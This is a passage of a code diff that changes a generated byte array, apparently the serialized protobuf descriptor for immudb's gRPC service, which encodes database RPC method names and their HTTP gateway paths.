0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, + 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, - 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, - 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, - 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, + 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, + 0x64, 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, + 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, + 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, + 0x2a, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, + 0x3a, 0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, + 0x69, 0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, + 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, + 0x32, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, + 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, + 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, + 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, + 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, + 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, + 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, + 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, + 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, + 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, + 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, + 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, + 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, + 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, + 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, - 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, - 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, + 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, + 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 